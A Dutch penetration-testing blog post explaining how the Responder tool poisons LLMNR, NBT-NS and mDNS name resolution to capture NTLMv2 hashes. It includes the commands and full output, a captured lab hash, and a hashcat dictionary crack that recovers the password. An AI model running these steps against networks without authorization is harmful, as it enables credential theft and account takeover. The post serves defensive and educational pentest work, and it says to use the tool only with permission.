Wij zijn |

Responder: NTLM hashes bemachtigen om accounts over te nemen

Een van de allereerste stappen die we ondernemen tijdens een bedrijfsnetwerk pentest is het aanzetten van de tool Responder. Dit is een tool die luistert en antwoordt op broadcast verkeer binnen het subnet, met als doel het verkrijgen van NTLM hashes van gebruikers.

De achtergrond

Responder is een tool waarmee LLMNR, NBT-NS en MDNS verkeer inzichtelijk wordt gemaakt. De tool is ook in staat om op deze protocollen te antwoorden. In deze antwoorden doet Responder zich voor als opgevraagde bron. Hierdoor denkt de aanvrager dat de opgevraagde bron vertaald wordt naar ons IP-adres, waarna de bron zichzelf authenticeert met een NTLMv2-hash.

 

Wat is NBT-NS

NetBIOS over TCP/IP (NBT of NetBT) is een protocol om, net als DNS, computernamen te vertalen naar IP-adressen. Het is met name handig voor netwerken zonder DNS-server. Het maakt gebruik van een simpel verzoek & antwoord uitwisseling, om achter een IPv4 of IPv6 adres van een hostnaam in het netwerk te komen.

IPv4 hosts kunnen via NetBT computernamen naar IPv4-adressen omzetten/opvragen door een broadcast te sturen met een NetBIOS Name Query Request naar het lokale netwerk. Het systeem die de opgevraagde naam heeft stuurt vervolgens via unicast een NetBIOS Name Query Response terug naar de aanvrager. De aanvrager weet nu het IPv4-adres van de opgevraagde hostname.

NetBT werkt alleen over IPv4, niet over IPv6. NetBT kan worden uitgeschakeld in een omgeving waar DNS gebruikt wordt. Als het wordt uitgeschakeld binnen een omgeving waar geen DNS server gebruikt wordt, moet op iedere client in het hosts-bestand handmatig de translatie worden vastgelegd. Het protocol komt uit de jaren 80 en wordt tegenwoordig steeds minder gebruikt.
LLMNR wordt gezien als vervanger van NetBT.

Wat is LLMNR

Sinds Windows Vista wordt het Link-Local Multicast Name Resolution protocol gebruikt. LLMNR is een protocol wat enigzins lijkt op DNS. Het maakt gebruik van zowel IPv4 als IPv6 en wordt gebruikt voor name resolutions voor systemen op hetzelfde netwerk. 

Wat is mDNS

Multicast DNS (mDNS) is gebaseerd op hetzelfde principe als LLMNR. mDNS en LLMNR lijken erg op elkaar maar toch zijn er best wat verschillen. Zowel op functioneel vlak als op security-gebied.

Bij mDNS worden antwoorden via multicast teruggestuurd. Hierdoor ziet iedereen het antwoord en is iedereen op de hoogte van de laatste aanpassingen. Bij LLMNR worden antwoorden over unicast teruggestuurd, waardoor alleen de aanvrager het antwoord ziet. Bij LLMNR-verkeer is het bovendien eenvoudiger om de DNS antwoorden te spoofen, wat precies is wat de tool Responder doet.

Hoe werkt Responder?

In onderstaande afbeelding leggen we uit hoe Responder werkt.

Hoe werkt Responder

Een nietsvermoedende medewerker wil een fileshare op het netwerk openen maar maakt een spelfoutje. Of de medewerker heeft de laptop binnen een ander netwerk gebruikt en de fileshares die daar aanwezig zijn toegevoegd als snelkoppeling. Hierdoor krijgt de DNS-server het verzoek om fileeshare te vertalen naar het IP-adres.

De DNS-server kent dit systeem niet. Hierdoor zal de Windows-omgeving van de medewerker automatisch andere manieren proberen om de opgevraagde computernaam te vertalen naar een IP-adres. Dit gaat via NBT, LLMNR of mDNS. 

Responder luistert naar al deze (en nog veel meer) protocollen en ziet de name resolution requests binnenkomen. Responder doet zich voor als de gevraagde computernaam en stuurt zijn eigen IP-adres terug, evenals een verzoek om authenticatie.

De Windows-omgeving ziet dat de ‘fileshare’ een authenticatieverzoek heeft gestuurd en stuurt automatisch de gegevens van de ingelogde medewerker naar Responder, waaronder een NTLMv2-hash. Vervolgens kan de aanvaller deze hash proberen kraken, of hem relayen naar een ander systeem.

Responder gebruiken

Responder aanzetten is eenvoudig. De tool staat standaard geïnstalleerd op Kali Linux. Gebruik de tool alleen binnen een netwerk waar je toestemming hebt en/of gevrijwaard bent.

Om gebruik te maken van de privileged ports (alle poorten onder de 1024) heb je root-rechten nodig. Daarnaast moet je aangeven op welk netwerkinterface de tool moet luisteren. Vaak gaat het om eth0, controleer het en pas zo nodig aan. Start Responder met het volgende commando:

sudo responder -I eth0

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0
 __
 .----.-----.-----.-----.-----.-----.--|  |.-----.----.
 |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
 |__| |_____|_____|   __|_____|__|__|_____||_____|__|
 |__|  NBT-NS, LLMNR & MDNS Responder 3.1.3.0  To support this project:
 Patreon -> https://www.patreon.com/PythonResponder
 Paypal  -> https://paypal.me/PythonResponder  Author: Laurent Gaffie ([email protected])
 To kill this script hit CTRL-C  [+] Poisoners:
 LLMNR                      [ON]
 NBT-NS                     [ON]
 MDNS                       [ON]
 DNS                        [ON]
 DHCP                       [OFF]  [+] Servers:
 HTTP server                [ON]
 HTTPS server               [ON]
 WPAD proxy                 [OFF]
 Auth proxy                 [OFF]
 SMB server                 [ON]
 Kerberos server            [ON]
 SQL server                 [ON]
 FTP server                 [ON]
 IMAP server                [ON]
 POP3 server                [ON]
 SMTP server                [ON]
 DNS server                 [ON]
 LDAP server                [ON]
 RDP server                 [ON]
 DCE-RPC server             [ON]
 WinRM server               [ON]  [+] HTTP Options:
 Always serving EXE         [OFF]
 Serving EXE                [OFF]
 Serving HTML               [OFF]
 Upstream Proxy             [OFF]  [+] Poisoning Options:
 Analyze Mode               [OFF]
 Force WPAD auth            [OFF]
 Force Basic Auth           [OFF]
 Force LM downgrade         [OFF]
 Force ESS downgrade        [OFF]  [+] Generic Options:
 Responder NIC              [eth0]
 Responder IP               [192.168.0.111]
 Responder IPv6             [fe80::3efa:c739:7fe7:53bf]
 Challenge set              [random]
 Don't Respond To Names     ['ISATAP']  [+] Current Session Variables:
 Responder Machine Name     [WIN-D1UWS09EU3I]
 Responder Domain Name      [YAQX.LOCAL]
 Responder DCE-RPC Port     [45594]  [+] Listening for events... 
Responder luistert op diverse poorten naar allerlei verschillende protocollen. Het is nu een kwestie van wachten totdat er LLMNR-verkeer langskomt. In onderstaande output is te zien dat een gebruiker genaamd Pentests.nl de fileshare fileeshare probeert te benaderen. Responder heeft het LLMNR-verkeer gezien en geantwoord dat hij fileeshare is. Vervolgens heeft de Windows-omgeving van de gebruiker automatisch de NTLMv2-hash gestuurd.
 [*] [MDNS] Poisoned answer sent to 192.168.0.201   for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to 192.168.0.201   for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare.local
 [*] [LLMNR]  Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare
 [*] [LLMNR]  Poisoned answer sent to 192.168.0.201 for name fileeshare
 [*] [LLMNR]  Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare
 [*] [LLMNR]  Poisoned answer sent to 192.168.0.201 for name fileeshare
 [*] [MDNS] Poisoned answer sent to 192.168.0.201   for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to 192.168.0.201   for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare.local
 [*] [MDNS] Poisoned answer sent to fe80::14b:9a9c:ed4c:2fb6 for name fileeshare.local
[SMB] NTLMv2-SSP Client   : fe80::14b:9a9c:ed4c:2fb6
[SMB] NTLMv2-SSP Username : .\Pentests.nl
[SMB] NTLMv2-SSP Hash     : Pentests.nl::.:99ef83b161cc3b47:0A5D3FC1471D0E53D9E5579FA4579D6F:010100000000000080C5B626BEE9D8018A479030953AB9DA0000000002000800590041005100580001001E00570049004E002D004400310055005700530030003900450055003300490004003400570049004E002D00440031005500570053003000390045005500330049002E0059004100510058002E004C004F00430041004C000300140059004100510058002E004C004F00430041004C000500140059004100510058002E004C004F00430041004C000700080080C5B626BEE9D80106000400020000000800300030000000000000000100000000200000B96199A4EFD4997033D7665491AA8549AA61E9F61F8CCE8C2619D0AEB305E39F0A0010000000000000000000000000000000000009001E0063006900660073002F00660069006C0065006500730068006100720065000000000000000000 

NTLM hash kraken

Nu we de NTLMv2-hash van een gebruiker hebben bemachtigd kunnen we deze proberen te kraken. Hiervoor kan de tool hashcatworden gebruikt. Hashcat kan met ontzettend veel verschillende hash-algoritmes overweg. De mode die nodig is om NTLMv2 te kraken is 5600. Naast de verschillende hash-algoritmes zijn er ook verschillende vormen van kraken. Hier willen we een dictionary-attack uitvoeren, een bruteforce-aanval op basis van een (wacht)woordenlijst. We gebruiken hier de welbekende lijst rockyou.txt

Roep hashcat aan met het volgende commando, vervang zo nodig de waardes.

hashcat -m 5600 “<de NTLMv2 hash>” /usr/share/wordlists/rockyou.txt

Na enkele seconden zal hashcat aangeven dat de hash gekraakt is. Het wachtwoord is princess.

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 "Pentests.nl::.:99ef83b161cc3b47:0A5D3FC1471D0E53D9E5579FA4579D6F:010100000000000080C5B626BEE9D8018A479030953AB9DA0000000002000800590041005100580001001E00570049004E002D004400310055005700530030003900450055003300490004003400570049004E002D00440031005500570053003000390045005500330049002E0059004100510058002E004C004F00430041004C000300140059004100510058002E004C004F00430041004C000500140059004100510058002E004C004F00430041004C000700080080C5B626BEE9D80106000400020000000800300030000000000000000100000000200000B96199A4EFD4997033D7665491AA8549AA61E9F61F8CCE8C2619D0AEB305E39F0A0010000000000000000000000000000000000009001E0063006900660073002F00660069006C0065006500730068006100720065000000000000000000" /usr/share/wordlists/rockyou.txt 
 hashcat (v6.2.5) starting  Minimum password length supported by kernel: 0
 Maximum password length supported by kernel: 256  Hashes: 1 digests; 1 unique digests, 1 unique salts
 Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
 Rules: 1  Host memory required for this attack: 0 MB  Dictionary cache built:
 * Filename..: /usr/share/wordlists/rockyou.txt
 * Passwords.: 14344392
 * Bytes.....: 139921507
 * Keyspace..: 14344385
 * Runtime...: 1 sec  'PENTESTS.NL::.:99ef83b161cc3b47:0a5d3fc1471d0e53d9e5579fa4579d6f:010100000000000080c5b626bee9d8018a479030953ab9da0000000002000800590041005100580001001e00570049004e002d004400310055005700530030003900450055003300490004003400570049004e002d00440031005500570053003000390045005500330049002e0059004100510058002e004c004f00430041004c000300140059004100510058002e004c004f00430041004c000500140059004100510058002e004c004f00430041004c000700080080c5b626bee9d80106000400020000000800300030000000000000000100000000200000b96199a4efd4997033d7665491aa8549aa61e9f61f8cce8c2619d0aeb305e39f0a0010000000000000000000000000000000000009001e0063006900660073002f00660069006c0065006500730068006100720065000000000000000000:princess' 
 Session..........: hashcat
 Status...........: Cracked
 Hash.Mode........: 5600 (NetNTLMv2)
 Hash.Target......: PENTESTS.NL::.:99ef83b161cc3b47:0a5d3fc1471d0e53d9e...000000
 Time.Started.....: Thu Oct 27 05:45:59 2022 (0 secs)
 Time.Estimated...: Thu Oct 27 05:45:59 2022 (0 secs)
 Kernel.Feature...: Pure Kernel
 Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
 Guess.Queue......: 1/1 (100.00%)
 Speed.#1.........:   101.1 kH/s (0.89ms) @ Accel:256 Loops:1 Thr:1 Vec:8
 Recovered........: 1/1 (100.00%) Digests
 Progress.........: 512/14344385 (0.00%)
 Rejected.........: 0/512 (0.00%)
 Restore.Point....: 0/14344385 (0.00%)
 Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
 Candidate.Engine.: Device Generator
 Candidates.#1....: 123456 -> letmein
 Hardware.Mon.#1..: Util: 51%  Started: Thu Oct 27 05:45:37 2022
 Stopped: Thu Oct 27 05:46:00 2022 

Responder logs

Responder slaat alle opgevangen hashes op. De standaardlocatie hiervoor is /usr/share/responder/logs/. Hier kunnen alle hashes worden bekeken. Als je alles wil verwijderen kan dat ook, verwijder dan de logfiles in deze map en /usr/share/responder/Responder.db

Hoe kunnen wij u helpen?

QR Codes: Het onverwachte wapen in Device Code Phishing

Device code phishing, net als aanvallen via Adversary-in-the-middle (AiTM), vertegenwoordigt een geavanceerde vorm van cyberdreiging die zich onderscheidt van traditionele phishing. Device code phishing exploiteert de ‘OAuth2 Device Authorization Grant flow‘ van Microsoft Azure, die gebruikers in staat stelt zich aan te melden bij apparaten met beperkte invoermogelijkheden.

read more

CORS: het belang van Cross-Origin Resource Sharing

Bij onze klanten zien we een toenemende implementatie van Cross-Origin Resource Sharing (CORS). Helaas constateren we ook een stijging in het aantal onveilig geconfigureerde CORS-implementaties. In deze blog duiken we dieper in wat CORS is, de meest voorkomende misconfiguraties en hun potentiële risico’s, en hoe je sterke CORS-regels kunt instellen om je webapplicaties te beschermen.

read more